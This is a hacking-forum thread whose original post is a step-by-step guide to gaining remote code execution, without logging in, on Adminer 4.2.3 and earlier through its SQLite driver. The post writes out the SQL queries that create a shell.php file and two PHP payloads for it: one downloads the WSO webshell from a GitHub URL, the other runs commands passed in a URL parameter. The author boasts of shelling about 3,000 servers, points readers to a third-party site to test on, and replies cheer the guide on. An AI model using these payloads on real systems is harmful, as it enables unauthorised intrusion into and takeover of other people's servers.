

# Forum:[Hack Forums](#)

Thread: [Adminer 4.2.3 and below Preauthenticated RCE Exploit \[Complete Guide and writeup\]](#)

**DonJuji** - August 16, 2023, 1:45 am

## Adminer Preauthenticated RCE Method

I discovered this exploit after reading in the official adminer github patch notes that an rce involving sqlite was patched.

After reading that i researched sqlite exploitation and adapted an example of an sqlite rce i found for adminer.

I am quite certain I am not the first person to figure this out but to my knowledge nobody has ever shared the details of it publicly.

### Vulnerability Requirements:

1. SQLITE Driver must be present on server
2. Adminer Version 4.2.3 Or Below (although this vulnerability is not public, the developer of adminer is aware of it and patched it in version 4.2.4 by requiring credentials to login.
3. A writeable frontend directory. If not the default directory another can be specified.

### Why this works:

Technically this can be seen as a vulnerability in sqlite just as the adminer rogue mysql exploit can be seen as a vulnerability in mysql not in adminer itself. Their are two problems that together cause this issue, the first is that sqlite allows you to connect with no credentials by default, the second is that adminer sqlite saves its database files to a plaintext file in the same frontend directory and it allows arbitrary extention naming as well as writing arbitrary contents to that file. This means you can literally create a database file named shell.php on the front end and put executable php shell code inside of it, leading to preauth RCE. Although this was patched in 4.2.4 and adminer is currently on 4.8.1 there are still thousands of vulnerable servers and this is a major security issue to this day. I was able to create a threaded auto sheller easily but i will not be sharing that today.

### Impact:

Because this is pre-auth RCE, meaning that you dont need neither user or admin credentials of any kind to get code execution and also taking into account that there are literally hundreds of thousands of status 200 adminer instances out there, this is a major security issue which I believe is severely overlooked. It also marks now the third known serious vulnerability in adminer. The problem with adminer is that its written by just one guy to my knowledge who is not a security expert. He has no security team to check his work yet he is writing the code of a program used by nearly as many people as phpmyadmin including huge corporations and governments. And not only that but the purpose of adminer is to deal with database management which is a component that is incredibly vulnerable from a security standpoint. Security incidents were bound to happen.

### Guide:

1. Select SQLITE 3 from the "system" dropdown box and click login without specifying a database. IF it logs you in you are good to proceed, if it says driver cannot be found then the server is not vulnerable to RCE, move on. This will be the case about 33% of the time even for vulnerable versions of adminer.

2. Click On SQL Command

3. Enter the following command without the double quotes: "ATTACH DATABASE './shell.php' AS arbitrarydatabasename;" and then click execute. If it is successful it will say "Query executed OK, 0 rows affected." if it says "cannot attach shell.php as database" its likely that the default directory to write to, which is the directory adminer is contained in, is not writable for you. This does not mean the site is not vulnerable, it just means more work needs to be done. I will post a follow guide about how to deal with servers like this later, it occurs around 10% of the time and you just need to find a writable directory and specify it in the db name. For now lets assume the query was successful.

4. In the small box in the upper left hand corner next to "Db:" type shell.php and click "Use"

5. In the large SQL Command box write the following query without double quotes: "CREATE TABLE arbitrarytablename (dataz text);" It will confirm the command was completed successfully in green writing.

6. In the large SQL Command box write the following query without double quotes: "INSERT INTO arbitrarytablename (dataz) VALUES ('<?php file\_put\_contents('shx.php',file\_get\_contents('https://raw.githubusercontent.com/mlcHyAmRaNe/wso-webshell/master/wso.php'));>');" "

Or if you want a more simple shell which can help to bypass some WAFs or just because it may work if file\_put\_contents is not working for some reason, write the following query without double quotes: "INSERT INTO arbitrarytablename (dataz) VALUES ('<?system(\$\_GET['cmd']); ?>');" "

As you can see this is the step where you inject whatever php payload you want ran, you can obviously modify this with your own payload if you like, just note the double quotes around cmd. Single quotes will not work in your payloads in this case as they will cause the payload to be incorrectly parsed due to escaping issues.

7. To execute your payload go to <https://domain.com/shell.php>

If you used the first payload I gave it will download a WSO shell to "https://domain.com/shx.php" upon loading shell.php in your browser or requesting it with curl or any other http client.

Or if you used the second payload you can go to <https://domain.com/shell.php?cmd=ls> where any linux or windows command if windows server can replace ls and the output of the command will be displayed in the response.

And thats it...i was able to shell about 3k servers after running about 100k adminer urls.

If you would like to test this on a vulnerable server you can use <https://www.citefactor.org/adminer-4.1.0.php>

I hope this guide was clear and useful. Feel free to dm me or message me on telegram @logging if you have questions or need help with this or any hacking related stuff.

-- DonJuji

**BiNBo** - August 16, 2023, 6:27 am

An excellent tutorial, well written and explained. You even took the time to go through explaining the security implications. Bravo.

**DonJuji** - August 16, 2023, 6:45 am

(Aug 16, 2023 06:27 AM)BiNBo Wrote: [\[CITE\]](#) An excellent tutorial, well written and explained. You even took the time to go through explaining the security implications. Bravo.  
thank you!

**rreaper93** - August 18, 2023, 7:16 am

thanks brother i will try out

**Stanley** - September 8, 2023, 7:32 pm

I'm Stanley HF's helper bot. The OP (original poster) of this thread wants everyone to see this page and has elected to bump it to the top of the showthread listing. Since HF doesn't want a ton of LQP (Low Quality Posts) this is the best method of bumping your content. There is a small ?yte fee for each bump. Any OP can bump any of their threads on HF from the linked icon on the top of their first post.

If you haven't already read the first post of this thread we encourage you to do so.

Thanks,  
Stanley